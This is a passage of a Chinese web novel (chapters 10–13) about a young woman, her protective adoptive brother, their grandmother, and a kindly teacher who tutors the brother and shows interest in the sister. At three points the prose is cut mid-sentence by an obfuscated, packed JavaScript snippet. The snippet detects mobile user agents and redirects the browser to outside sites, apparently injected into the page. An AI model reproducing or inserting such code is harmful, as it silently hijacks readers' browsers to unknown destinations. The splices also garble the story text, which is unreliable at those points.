尤其沈修，便是未见其人，只听那女子的声音，也是让他一瞬就将她认了出来。 沈母太过了解自己儿子，见他眉眼间多了抹温意地朝外面看，便知那女子应是与他相识之人，“可是你那个拿鹅蛋给你的？” 她记得那女子是他某个学生的姐姐，这两年时不时会给沈修送些东西，沈修向来不喜收礼，却是愿意将那女子送来的带回家中。 沈修没有直接言明，只是道：“回母亲，我也不清楚。” 说罢，他提步上前，便要开门。 沈母却是抬手将他拉住，轻咳着道：“此处风大，先送我回屋罢。” 沈母身子弱，需得日日喝药，家中两个婢女，一个在收拾屋子，一个在灶房煎药，一时半会儿顾不上她，沈修见状，也是赶忙转身过来搀扶。 沈家原非寻常农户。 沈母出身县里，家中算是书香门第，曾祖父那代，也是做过官的，当年沈父最擅山水画作，县里诸多人慕名而求，沈母家中对他也是极为赏识，遂将爱女许之。 沈父是沈家村人，家中薄有田产，却无意科举，唯好住在山间作画，五年前他染病而终，留下沈母与沈修二人相伴。 好在家中还有田产，和沈母陪嫁的县里的一间文房铺子，足以两人清雅度日。 只是自沈父亡故，沈母便久郁成疾，夜夜难寐，尤畏嘈杂，这才一直住在沈家老宅里。 如今沈修因村学之事，若在沈家村继续住下去，往后定会遭那沈里正刁难。 如此，沈修才动了搬家的念头。 可县里太过喧哗，沈母不喜，再远之处舟车劳顿，更是折腾，索性，他便选了柳河村，此处虽偏，却尤其幽静，正好适合沈母养病。 门外，宴安与宴宁等了片刻，待乡亲们皆已散去，这才上前轻声叩门。 开门的是一个面容清秀的女子，看着不过十五六岁，她头上插着两根蝴蝶银簪，身上是兔毛领薄袄，脚上是一双荷花绣鞋。 “你们是何人，寻我们主家可有事？”小婢女声音清亮，语气却透着几分疏离与警惕，目光也在打量着两人穿着。 听到家主二字，宴安才反应过来，面前这一身富贵装扮的小姑娘，竟然是沈家的婢女。 她没来由心头有些慌乱，下意识往后退了半步，声音也忽地变得更低，“我、我阿弟是沈先生的学生，我们就住在柳河村，听闻先生搬至了此处，便想问问可否需要我们帮忙？” 宴宁脚下未动，待宴安说完，便朝那婢女微微一揖，“学生宴宁，烦请这位姑娘通传一声。” 小婢女闻声抬头，原本因这两人装扮，一看就知是附近村民，而懒得与他们浪费时间，可这一抬眼，正好撞上了宴宁清冷的目光，小婢女何时想到，这人穿着不显，模样与气质却俱是上佳，她心头蓦地一跳，耳根竟有些泛红。 “我家夫人身子不适，特地吩咐过，近日不见客的。”小婢女的语气明显比方才轻了许多。 宴安还想再开口，宴宁却是朝那婢女点头道：“打扰了，那学生改日再来。” 说罢，便握住宴安手腕，转身朝回走去。 何氏见她们这么快便回来了，拄着拐迎出来问，“可是见到沈先生了，有没有帮人家忙啊？” 想到方才门外那一幕，宴安眼眸又朝下低了两分，摇头道，“未见着，是他家婢女开得门……” 三人回到屋中，何氏听完，并未露出任何不悦，反倒是愈发高兴，“她家还有婢女呢？” 怪不得沈修能将那院子盘下，原是家中宽裕到连婢女都能养活了。 宴宁还要读书，未与她们闲聊，喝了半杯水，便拿着书去窗下看。 两人不敢扰他，便将声音压得极低，可屋内实在太静，许多字都断断续续传入了宴宁耳中，除了那提了无数次的沈先生三个字外，还有婚嫁……不愁生计……不必辛劳…… 10.第十章 三日后的一个晌午，沈修寻至宴家。 宴安正在灶房烙饼，何氏与宴宁在屋中，听到敲门声，宴安知道宴宁在看书，便一面擦手，一面小跑着去开门。 在看到门外之人是沈修时，宴安当即就愣住了。 屋中何氏见她半晌没有动静，扬声朝外喊，“是何人啊？” 宴安匆忙回过神来，忙侧身将人往屋中请，“阿婆，是……是沈先生来了！” 何氏闻言，心头猛地一跳，拄着拐就要起身，“宁哥儿，还不起身去迎！” 宴宁已是在窗后看到，他搁下书，起身扶着何氏一并走出屋。 这还是何氏与沈修第一次见面，从前何氏只是听闻沈修才华出众，样貌绝好，总想着传言多少是有些夸大其词，可今日一见，才知并无半分虚言。 何氏被宴宁扶至屋外，颤巍巍地迎上前去，刚一开口，就已是激动的微红了眼，“您、您就是给宁哥儿教书的那位沈先生吗？” 沈修也是头一次见何氏，从前他也从沈六叔口中听到过宴家的事，知道这姐弟俩是被祖母一手拉扯大的，心里对这位老人便多了几分敬重。 他上前拱手，语气恭敬又温和道：“晚辈沈修，今日冒昧登门，还望婆婆莫怪。” “哎呦！我怎会怪你？”何氏连忙摆手，眼眶更是发热，“你可是我宴家的恩人，我感激还来不及，又如何会怨怪……”她顿了顿，又赶忙将沈修往屋里请，“外面寒凉，先生快进屋坐着说话。” 小屋陈旧简陋，却不显杂乱，桌椅也俱是不染尘灰。 出于礼节，沈修并未细看，只温笑着与何氏说话，又将今日所备的东西搁在了桌上，一包点心，一盒姜茶，还有些文房之物。 何氏自然是要出言客套，可东西既然送到，必定还是要收下的。 平日家中很少待客，便是王婶过来，也只是坐会儿就走，从未留人在此吃饭喝水过。 桌上没有多余的水杯，何氏的水杯在她自己手边，宴宁的窗后，那便只剩下宴安的那个杯子在桌上搁着。 便是宴安的水杯，也不过是个粗瓷盏，杯口处早些年还磕破了一处。 实难拿出手。 可若是不倒水，又太过失礼。 正犹豫着，便听何氏忽然唤她，“安姐儿？你是高兴傻了，还不快给先生倒杯水喝？” 宴安忙应了一声，也顾不得其他，索性上前拿起那粗盏，转身来到屋角，探了汤瓶温度，见里面的水尚未凉，微微松了口气。 杯盏涮了两遍，这方倒了温水送到沈修面前。 沈修道了声谢，原以为他只是客气，并不会喝，没想他当即就将杯盏拿起，送了半杯入口，这才道：“县里已是贴了告示，两月后便至县试，我今日过来，一是为了保人一事，二是像趁这月余工夫，与宴宁知会一声，若他有任何不通之处，可随时寻我。” 屋内静了一瞬，宴宁的目光从杯盏上移开，他起身上前，朝沈修深行一礼，低声道：“先生高义，学生感激不尽。” 宴安听了此话，也觉难以相信，前几日寻去沈家被那女婢拒了之后，她还以为保人一事约摸要落空，正是发愁之际，谁能料到沈修主动寻了过来，不仅要继续为宴宁作保，还要再教他功课。 正如何氏方才所说，他当真是宴家的恩人。 宴安感动得鼻根酸胀，何氏也是偏过脸去抹了把老泪。 沈修则虚扶起宴宁，温声问他，“今日若无事，可能取来户籍，与我寻趟里正，先将文书办妥？” 宴宁点头道：“今日无事，此刻就能与先生前去。” 户籍锁在箱中，何氏将钥匙递给宴安，宴安取来后，正要上前去给沈修，宴宁却是先她一步，抬手将户籍接过，翻开拿至沈修面前。 沈修垂眸看得越是认真，宴安心头越是发慌。 她直到现在，都还记得刚回柳河村那日，何氏就带着他们寻到了村里里正面前。 祖母一手牵着她，一手牵着宴宁，扑通一声双膝跪地，与那里正痛哭流涕，“我夫与儿皆已亡故，若再不叫我这两个孙儿认祖归宗，宴家的香火便断了！” 要知道，在这乡里，断了香火，不止是绝嗣，更是对祖宗的大不孝。 那里正也是怜他们可怜，又见这两个孩子虽模样与记忆中宴家大郎模样不似，可两人俱是生得可人，倒是与何氏年轻时有几分相似，最后又在何氏的哭求中，终是答应去寻族老作证，上报县衙，这才将她与宴宁录入户籍。 宴安也知，户籍一事已定，她不该忧心，可她还是会心虚，下意识就垂了眼睫，手也开始卷那袖边。 直到沈修抬起眼，将户籍还给宴宁，两人一道出了门，宴安才长长地呼了口气。 灶台的火还未熄，宴安还要烙饼，就未曾跟去，何氏表面无异，实则心里也会不安，让宴宁扶着，跟着两人一道去了。 有沈修做保人，文书一事处理得也极为顺利，不到一个时辰，三人就回了宴家。 院子里飘着麦饼微焦的香气，是宴安用最后半升细面，掺了荠菜烙的。 何氏许久没有走过这么多路，腿疼不说，肚子也是当真饿了，一进院门闻到这香气，又对沈修连声夸起宴安，“这孩子最擅烙饼，她烙出的饼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538199|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子，连那村头的张婆都嘴馋！” 沈修闻言，朝着灶房看去。 宴安许是听到院内有响动，推门朝外探来，她鬓角有缕发丝垂落在颊边，额上还有些许泛白，应是不慎沾了面粉，又忘了擦的缘故。 可那双眼睛朝外探来时，明亮中透着恬静，她眸光扫过他们三人，在与他目光相撞的刹那，倏地定了一瞬，这一瞬，让沈修忽觉心头微动，就好似春日湖水，被温风拂出了一抹涟漪。 “阿姐。” 宴宁骤然响起的声音，如同石子落水，倏然截断了那缕未散的余波。 他提步上前，自袖中取出帕子，抬手便要帮宴安将额上面粉擦去，然还未碰到，便见宴安忽然朝后退了半步，并未如往常那般任由他来帮忙擦拭，而是笑着从他手中将帕子接过。 “事情可都办妥了？”她一面背身去擦，一面出身询问。 宴宁的面容隐在灶房外的棚子下，看不出是何神情，“阿姐放心，都办好了。” 他声音很轻，也带着几分低沉。 何氏未觉，还在院中招呼沈修留下吃饭。 沈修要陪沈母，便婉言相拒。 何氏也不再强留，只是在沈修临走前，宴安将食篮捧给了他，那里面装了满满一篮的菜饼。 沈修没有推拒，只是温声道谢。 他走后，小院又恢复了往日的安静。 宴安端着菜饼，宴宁端着热汤，两人一道往主屋走。 “阿姐今日缘何如此高兴？”宴宁问道。 “啊？”宴安愣了一下，随即又笑着跨过门槛，“结保文书办好了，阿姐自然高兴啊！” 宴宁“嗯”了一声，没再说话，眼前却是一遍又一遍地重复着沈修在接过食篮时，与宴安指尖相处的画面…… 阿姐垂了眼眸，耳根也起了薄红，那细长的指尖收回时，用力蜷缩在了掌心，背在了身后…… 那样的阿姐很美，很美…… 只是这般模样，为何从未在他面前出现过…… “吧嗒！” 桌上的粗瓷杯盏坠落于地，摔成两半。 宴宁将热汤稳稳放于桌上，俯身将破碎的杯盏捡起，蹙眉低道：“都怨我不慎，碰掉了阿姐的杯盏……” 宴安被吓了一跳，见杯盏破碎，也的确心疼，但见宴宁伸手去捡，自然更是关心他，“无妨的，我来我来，你莫伤了手。” 何氏也道：“不打紧，过几日若出早集，再买两个就是。” 宴宁捡起碎片，起身扔出了屋，回来后将窗旁的杯盏拿到宴安面前，“那这几日，阿姐先用我的。” 11.第十一章 这么多年住在一起，彼此间太过了解，宴宁知道，宴安定是会推拒。 果不其然，她并未接那杯盏，而是笑着低头去拆沈修送来的点心，“我总在灶房，若渴了用碗喝几口就是，你要读书，一坐就是许久，还是用杯子更为方便。” 何氏也心疼杯子，可此刻目光都被那包糕点所引，她咂了咂嘴，感慨道：“苏州的糕点最是精巧，我到现在都忘不了那道牡丹酥，光是酥皮就有好几十层，咬上一口啊，满嘴都是渣……唉，这辈子怕是再也吃不着了……” 何氏好吃，这点宴安也是知道的，她见祖母如此，故意逗她道：“哎呀，这枣花酥一看就好吃，可阿婆不愿吃，光是惦记着那牡丹酥，那便让我同宁哥儿把这几块分了吧。” “这丫头！”何氏作势在宴安手背上拍了一下，赶忙拿起一块枣花酥，“谁说我不吃了？我念叨念叨都不成吗？” 两人情绪似乎都很好，全然没有意识到，桌边的宴宁拿着那杯盏，已是站了许久。 “阿婆放心。”宴宁终是出了声，他不紧不慢坐下，一面往杯盏中倒水，一面弯唇轻道，“我定会学有所成，让阿婆日后吃得到牡丹酥。” 说罢，他将水杯推到了宴安面前，随后拿起菜饼，吃了起来。 “好好好!”何氏乐得眉开眼笑，“还是我家宁哥儿孝顺，那阿婆等着！” 宴安笑而不语，给三人都盛了热汤，这才坐下，垂眼一看，那杯盏就在手边。 宴宁骨子里是带着倔劲儿的，这一点宴安也知，但不论他如何倔，从小也最是听她的话。 “别同阿姐犟。”她轻声说了一句，将杯子又朝他手边推去。 何氏正美滋滋吃着枣花酥，抬眼瞧见这一幕，也是向着宴宁说话，“你用你的，叫你阿姐去集上买，这次多买两个，过两日沈先生来了还能用。” 宴安闻言惊讶道：“沈先生还要来？” “可不是。”何氏抿着掌心的酥屑，笑着说，“方才我们去寻里正的路上，就已说妥了，往后每隔五日，申时过来，给宁哥儿讲一回书。” “这、这不合适吧，怎么能叫先生来回折腾呢？”宴安脱口而出。 “我也这般说了，可沈先生说，他母亲身患疾症，素来畏喧，往常家中连亲戚都很少走动。”何氏拿起帕子擦着手心，然目光却是又落在了那枣花酥上，“人家沈先生开了这个口，又拿出这般说词，我自是要满心相迎，若再多言，便是不识好歹了。” 宴安明白了，若有所思地点了点头，又拿起一块枣花酥给了何氏。 一盒点心，满共有六块，宴宁说不喜甜，一块未食，宴安吃了一块，何氏一人就吃了三块，连菜饼也未碰，又灌下一碗汤。 剩下这两块搁在桌上，原是打算明日再吃，午后王婶却是寻了过来。 寒冬腊月里，午后的日头最为暖人，何氏和宴安都在院中，宴宁在窗后看书。 王婶一进院子，朝那半开的窗户看了一眼，忙就压下声音，将两个青皮鹅蛋塞给宴安，“我家满姐儿衣裳又小了，你看看这几日，可有工夫帮她补补？” 满姐儿是王婶的女儿，比宴安小五岁，今年刚至及笄，在县里亲戚家开的药铺做帮工，十天半月才回来一次。 “满姐回来了？”宴安问。 王婶高兴道：“回来了，住五日才走呢！” “那成，我赶她走前给补好！”宴安爽快应道，抬手去接王婶带来的竹筐。 王婶在递给她时，露出一节手臂，那手臂上赫然出现了一道醒目的疤痕。 何氏就坐在一旁，将那伤疤看得是清清楚楚，“哎呦，你那伤是怎地了？” 王婶忙将袖子往下扯，脸上笑意未散，但明显多了几分不自然，她朝棚子后的那面墙怒了努嘴，压着声道：“昨晚干仗了。” 墙后是王婶家。 何氏叹气，“你们啊，都这个岁数了，孩子都要说亲了，怎还这般大的精神。” 王婶笑了笑，没有说话。 宴安脸上笑意却是慢慢散去，“柜子里还有些药油，我给婶子拿来。” “哎呦！不打紧的，我可没那般娇贵。”王婶笑着朝她摆手，“你是不知，我也将他挠了好一通，我看他这几日敢不敢回来，最好是死在外面。” 最后这句话，王婶似是咬牙在说，但也明显是因心头存气，才故意扔出的狠话。 到底是长辈，这些年又待宴家多有照顾，宴安实在不好说什么，只也跟着坐下，取了针线开始缝补衣裳。 一说起赵伯，王婶又来了脾气，与何氏将他骂了一通，可骂到最后，又道：“也怪我，没生个儿子出来……” 宴安眼皮微抬，看了眼王婶，她神情里的落寞是真，对赵伯的厌憎也是真，她明明这样能干，离了赵伯也能养好了自己，却还是要同他住在一处。 想到满姐儿还在家，王婶也不曾多留，走前何氏让宴安将那两块枣花酥拿给了她，让她回去同满姐儿吃。 王婶走后，宴安这才低声与何氏道：“我实不明白，王婶是如何忍得住的。” “村里哪家夫妻不打架的，若一打架就分家，日子还过不过了。”何氏道。 宴安一想起那伤痕，便也觉手臂在隐隐作痛，“哪里是夫妻俩打架，吃亏的分明是女子，若成了婚，需得过这样的日子，那不如不成婚了。” “哎，你又说昏话！”何氏心下一急，下意识就扬了语调，“这能一样嘛，你就不能找个温良有礼的？” 宴安向来在何氏面前乖顺，今日也不知怎地，许是那王婶身上的疤，让她想起了记忆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543352|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的那个人，那人的模样，还有一言一行，哪怕过了十一年，她也依旧记得清楚。 一想起那人，宴安便觉心尖发颤，足底生寒，当即就反驳出声，“面上看着温和，骨子里是什么样子，谁又能说清楚？” 前几月两人说到婚事，何氏还以为宴安开了窍，没想到她竟还是这般抗拒。 “你这丫头，非要气我。”何氏抬手不住地顺着心口，“你这是要一杆子打死所有人啊，咱们往远了不说，就说咱家宁哥儿，可是那游手好闲，只知享乐的？” 村里的男子，也不是当真何事都不做，可再是勤快，大多也只管下地干活，家中琐事一概推给女人，农忙时不提，可冬日赋闲，照样是茶来伸手，饭来张口，仿若天经地义。 宴宁不同。 那时何氏回到柳河村，已年过半百，还带着俩孩子，实在无力耕种，无奈之下，只得将地转给了旁人。 若旁的男子无需耕种，自然乐得清闲，宴宁却从未把家中事务全丢给祖母与阿姐。 他常常天不亮就起身劈柴烧水，日日跟在宴安身边，宴安做什么他都要出手帮忙，若不会的，就在旁边学，学会了，就抢着做，即便后来要读书，但凡得了空，也要抢着去做。 可这是因为宁哥儿疼阿婆与她，旁人家的儿郎，哪个不是将媳妇娶回去当牛马一样用？ 宴安心底想着，嘴上却不敢再言，生怕当真将祖母气个好歹。 窗后宴宁听到两人争执，已是合书起身，走了出来。 何氏还在院中不住叨念，“好人家的郎君，哪个日日打自家娘子，就说人家沈先生，那般通晓事理，别说打人，我看连只蚂蚁都不踩，再说了，家底殷实的，不必为生计发愁，自是更为和气，不然日日为那柴米油盐，就能吵个半宿！” 宴安红了眼，指尖也在轻颤，她缝不下去，用力吸了口气，将针线放回筐中，起身低道：“我去后院喂鸡。” 这个时辰喂哪门子的鸡，何氏知道，她这是嫌她唠叨了，到底也是心疼孙女，见她离开，何氏也不再开口，抬手示意宴宁去看看。 宴安走得快，几乎是跑到鸡棚的。 四处无人，她掩面垂泪。 如果那人当初问，她可否要去他家为婢，她没有看那人衣着华丽，模样温润，就点头应下，也许她就不会遭受那般磨难，她的阿弟也不会惨死…… 想到年幼的阿弟，横死在她面前，那压抑在心底十一年的往事，叫她彻底忍受不住，抽泣出声。 “阿姐……” 宴宁慢慢上前，将手落在她颤抖的肩头。 这一声轻唤，更是直戳宴安的心，若她亲阿弟未死，如今也已是这般年纪…… 宴安抬眼扑入宴宁怀中，将他紧紧揽住，任凭眼泪止不住地朝外涌出。 12.第十二章 在宴宁的记忆里，宴安从未哭得这般凶过。 她哭得毫无顾忌，哭得上气不接下气，那豆大的泪水从她脸颊滑过，一滴接着一滴，很快就将他心口处的衣衫洇湿了一片。 看她如此模样，宴宁只觉心头也被扯得生疼，可这疼痛中，又不知缘何隐隐生出了一股异样的情绪。 宴宁不知这情绪到底为何，只知在这情绪的作用下，他指尖在不住微颤，手臂也在下意识地愈发收紧。 他与她贴得更近了。 近到他不止能感受到她的呼吸，连同她的心跳，也透过衣衫，一下又一下朝着他心头撞来。 许是被宴宁锢得太紧，又或是哭得太急，宴安觉得越来越窒闷，她深匀了几个呼吸，终是缓缓止住了眼泪。 觉察到她身形微僵，宴宁才猛地意识到自己已是不知在何时，将阿姐紧紧抱在了怀中，他慌忙松开，却又不敢全然放手，那手臂半悬于空，与她似触非触。 “阿姐……”宴宁喉结微动，低沉的嗓音里多了丝沙哑，“可、可好些了？” 宴安抬手用袖子将眼泪擦去，红着一双眼睛，又朝后退开了半步，她嘴唇翕动着想要回答，却好似因未能全然平复，而一时难以开口。 宴宁也不急，只垂眼一直望着她，见他额前的发丝凌乱，便又抬手帮她将那青丝别致耳后。 “阿姐……当真不想嫁人？”他动作很轻，声音也很轻。 宴安哽咽着点了点头，终是哑声开了口，“我只想和家人在一起。” “阿姐真如此想么？”宴宁收回手，又将眸光落在那双眼睛上。 “自然为真，我何曾骗过你。”宴安还在努力地匀着呼吸。 “阿姐从未骗过我，只是……”宴宁顿了一下，眸底里藏了抹阴晦，“我见阿姐常与阿婆提及沈先生，以为你们……” “那是阿婆，我可未曾那般想。”宴安似是觉得无奈，合眼扯了下唇角。 “是么？”宴宁声音依旧很轻，轻到听不出是什么情绪，“我看阿姐在沈先生面前，多有不同，以为你也……” “啊，有吗？”不等宴宁说完，宴安倏然抬眼，神情里的惊讶不似作假，“我怎会那般，你、你许是看错了。” 宴宁没有着急辩驳，只继续轻道：“若平日，阿姐脸上沾了东西，我若抬手帮忙擦拭，阿姐不会避我……” 可昨日，当着沈修的面，两人在那灶房外，她躲开了他的手，还背过身自行擦拭。 一想起此事，宴宁眼底那抹阴晦似又多了几分。 宴安一开始并未想起此事，待怔了片刻后，才恍然记起，亦是无奈笑道：“你是说昨日吗？那是我怕阿婆说我，觉得我脸上沾了面粉，在人前失了礼数。” 这点倒是真的，祖母念叨起来，两人皆怕。 宴宁眉眼微弯，也笑了一下，然那目光却始终不离宴安，似要将她每个神情都收入眼中，“阿姐看沈先生的眼神，也与旁人不同。” 宴安又是一顿，若不是宴宁此刻提起，她似乎并未意识到，她待沈修有何不同之处，可经此一问，她也仿若觉出了些什么。 “肯定不同……”她长出了一口气，神情中已是彻底没了方才的痛苦，语气也与平日没了差别，“沈先生博学多识，见多识广，且自他于你为师这两年，待你多有照顾，如今更是我宴家恩人，我打心眼里待他敬重，生怕怠慢于他，难免……难免就显得拘束了些。” 宴宁这次没有接话，只是看她。 宴安极快地眨几下眼，不解道：“你看我作甚，不信我的话吗？” 宴宁默了一瞬，终是敛眸，“只要是阿姐说得，我都信。” 宴安噗嗤了一声，忽然觉得两人方才的这番对话有些好笑。 “这孩子，阿姐何时骗过你，你竟还这般追问起来了。”宴安笑着便下意识抬手去揉他发顶，就如小时候一般。 然那手指眼看要触到他发丝时，她又连忙顿住。 儿时可以如此，现在的宴宁已是长大，站在她面前比她还高出了不少，又怎能随意去揉他发顶？ 宴安微叹着便要将手落下，宴宁却是忽地俯身，轻轻将头抵进她掌心，如儿时那样，晃了晃脑袋，嗓音轻柔道：“阿姐想揉就揉，揉多久，我也不会跑。” 宴安彻底笑开，顺势便当真揉了几下，“快起来吧，若是被阿婆看见，又该念叨咱们了。” 不过想起小时候的点点滴滴，宴安还是没能忍住，又捏了一下宴宁的脸颊，这才作罢。 宴宁被捏，并无半分不悦，反而露出笑颜，好像一连几日的憋闷，在这一刻全然散去。 几日后，沈修带着几本书册，再次来到宴家。 冬日的申时， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548593|185912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日头将落，平日这个时辰，宴安会在屋中做绣活，何氏则在一旁摘野菜，或是与她低声闲谈，宴宁则坐于窗后看书。 今日沈修来了，且又要与宴宁教书，两人不敢搅扰，别说闲聊，就是走动都怕会有所影响。 宴安索性搁下活，起身去了灶房，何氏原是在炕上歇息，可左右睡不着，又怕睡了夜里难眠，也摸摸索索悄声出了屋，寻去了灶房。 祖孙二人哪儿有隔夜仇，且宴安知道阿婆是为了她好，只是她的经历无人知晓，她只是与阿婆提过大致，当中细节与缘由，却从未说过，阿婆不知，难免会觉得是她过分矫情了。 宴安活了面，揪了馎饦，又切了姜丝和干豆角，看时辰未到，便没有下锅。 她擦净手，与何氏小声道：“阿婆，我想出去听听。” 宴安是认字的，这些年宴宁去村学读书，但凡有空，也会教于她。 只是她心中好奇，阿弟与先生所教，有何不同，要知沈先生可是两入殿试的才子。 “去罢，莫要操心了。”何氏朝她摆手。 宴安轻手轻脚来到窗旁。 窗子那头，两人皆坐于桌旁，沈修声音不大，却是字字都能落入宴安二中，他声音向来温润，与他为人一样，让人有种如沐春风之感。 尤其他此刻所言，还是对宴宁方才那篇策论的赞赏，这让宴安脸上忍不住露出笑容。 此时申时将尽，日头西沉，那昏黄的柔光恰好落于宴安的半边脸颊上，让她原就姣美的面容，仿佛拢于薄金之中，轮廓晕染，眉目含烟，半明半昧。 再加之唇角那抹柔软的弧度，仿若藏了万般温柔，让人只着一眼，便似要深陷其中。 “立意高远，又不蹈空，难得你如此年少，竟……” 恰在此刻，沈修也正抬眸，目光穿过面前这半旧的窗纸，与外间那抹柔光不期而遇。 他话音顿住，眸光微凝，似有惊讶，又似还有旁的什么，一闪即逝。 他朝她轻轻弯了一下唇，随即垂眸，继续说道，“竟、竟能思及民生之本……” 宴宁在他戛然而止那一瞬，便已是掀起眼皮，朝他目光寻去。 在看到那万般美好的一幕时，宴宁也露出淡淡笑意，然转念意识到，这一幕也落入了旁人眼中时，他脸上笑意渐凝，那股森然的寒意，再次朝心头涌来。 13.第十三章 窗外的宴安，原本听得认真，忽闻沈修话音顿住，惊讶抬眼之时，与他眸光相撞。 她看到沈修似愣了一瞬，随后朝她轻轻地弯了唇角。 宴安脑中顿时想起，宴宁那日所问的话，他问她为何看沈先生的眼神，与旁人不同。 宴安倏然愣住，也不知为何会有种莫名心虚之感，耳根也跟着起了薄红，她立即将视线移去别处，未曾看到沈修是何时移开的目光，也未曾看到宴宁又是何时将这一切看在了眼中。 门外传来叩门声。 一听那敲门的声响，就知是王婶来了。 王婶嗓门大，宴安生怕又绕了窗后那二人，赶忙快步上前去将门打开。 “王婶，我阿弟在读书呢。”宴安开门第一句话，就将声音压得极低。 王婶“哎呦”一声，忙掩唇低道：“那我小点声！” 说着，她指了指身侧的满姐儿。 宴安这才想起，前几日王婶送了衣裳过来，那衣裳她已是补好，还剩了些碎布了， 她将两人请进院中。 宴安已是许久未见满姐儿了，还记得当初他们刚回宴家那会儿，满姐儿才四岁多，隔三差五就往宴家跑，会笑着喊她阿姐，也会颤着宴宁喊阿兄。 有次宴安带着二人去河边洗衣，宴宁与满姐儿在一旁玩，也不知怎地，一条蛇缠在了满姐儿身上，将满姐儿吓得当场就快哭晕过去。 又一次，满姐儿在宴家院里玩，刚往那小凳上一坐，凳子腿就断了，直接将她摔了个仰面朝天，那哇哇哭的声音，一下就将隔壁的王婶引了过来。 宴安也不记得这样的事具体还有几次，总归次数多了，隔壁老太太就不愿意了，说两家八字不合，日后莫要来往。 至此，满姐儿便来得少了，别看两家住得近，有时一年都见不上几面。 至于王婶，她年轻时就与那老太太不对付，自是不将她的话放在心上，没事还是会往宴家跑。前些年老太太一过世，她便来得更勤了。 “满姐儿都长这么高了，过来阿婆看看。”何氏听到院里有响动，也从灶房出来，上前与二人说话。 满姐儿生得一双杏眼，眸子清亮，眼尾稍向上翘，一朝人笑，那脸颊便圆鼓鼓的，看着就叫人心头喜欢。 “何婆，我今日带了些药渣过来。”满姐儿笑盈盈道，将手上篮子药渣提起，“这些药渣是我问药方讨的，喝不得，却是能用来敷腿。” 何氏连连称谢，又将她一通夸赞。 满姐儿嘿嘿一笑，“不打紧的，若何婆用得好，我下月再拿点回来。” 宴安已是回了屋中，轻手轻脚提了筐子出来。 王婶却是眼尖，看到了窗后的沈修，压着声朝那边扬了扬下巴，“呦呦呦，那是何人啊，模样可生得真好！” 满姐儿也顺着看去，只是看了一眼，那脸颊肉眼可见的红了，眼里也是藏不住的羞怯，忙垂了眼不敢再看。 何氏压声道：“那就是沈先生。” 堂堂一个先生，家境又那般宽裕，还要跑到沈家来给宴宁教书？ 王婶朝宴安看了一眼，安姐儿也算是她看着长大的，这孩子模样生得百里挑一，性子也温善，从前提亲之人将门槛都快踏破了，可她偏是眼界高，一个都没瞧上，如今看来，怕是好事将近。 王婶掩唇笑了两声，又与二人低声聊了两句，便带着满姐儿回去了。 两人一走，何氏便故意问宴安，“满姐儿已是及笄了，正是知羞的年纪，也不知方才朝窗子那边看，是在看谁，那小脸红得呀……” 满姐方才的样子，宴安也是看在眼中的，但她没有接话，低头整理着药渣。 何氏见她不语，接着又道：“我看，八成是在看沈先生，若她俩能成，那可真是一桩好事，沈先生就住在西南角，距咱们就几步路，住得这般近，便是日日回来看王婶，也不怕旁人说。” 宴安怎能听不出来，何氏这又是在与她递话。 她深吸一口气，提着那蓝药渣就要进屋。 然不等她抬腿，沈修与宴宁却已是先一步走了出来。 一个时辰转眼便至，何氏再次提出要留沈修吃饭，沈修还是婉言相拒。 然他并未立即离开，而是看向宴安道：“宴娘子可是识字？” 宴安不知他为何忽然这般询问，颇有些局促地点了点头，“宁哥儿常会教我。” “原是如此。”沈修若有所思，“我方才见你在窗后，便猜想你许是也在听，若你当真想，往后可与宴宁同听。” 沈修并没有遮掩什么，反而说得极其坦然，就好似那隔窗相望的一眼，再为寻常不过。 宴安微怔，还不待她回话，身后侧的何氏已是替她应下，“哎呦，先生猜得不错，我家安姐儿也好读书，只是苦于无处可学，才叫宁哥儿教她，若今后能得得先生指点一二，那可真是求之不得的好事！” 见宴安似还在愣神，何氏忙扯她衣袖，“安姐儿，还不快谢过先生。” 宴安终是回过神来，却并未称谢，只低声道：“可、可这个时辰，我若不做饭，便会误了晚饭……” 何氏啧道：“我老婆子又不是瘫了，连个粥都熬不了？你且安心与沈先生学，这些事交于我便是。” 沈修见她犹犹豫豫，还未应下，便温声补了一句，“我若提早半个时辰过来，可会合适？” 话已至此，宴安也知再迟疑，便是不识抬举了，只得抬眼应下，“那便劳烦先生了。” 得到了答案，沈修眉眼间的温润，似有添了一分。 这日之后，又过五日，沈修不至申时，便来了宴家。 窗后书案的摆设未变，沈修依旧坐在正位，宴宁坐于左侧，宴安则比宴宁坐得更远，甚至未曾上桌，只拿了个小木杌。 见沈修望着那小木杌蹙了眉头，宴安忙道：“宁哥儿是在学本事，我只是随意听听，先生不必理会我。” 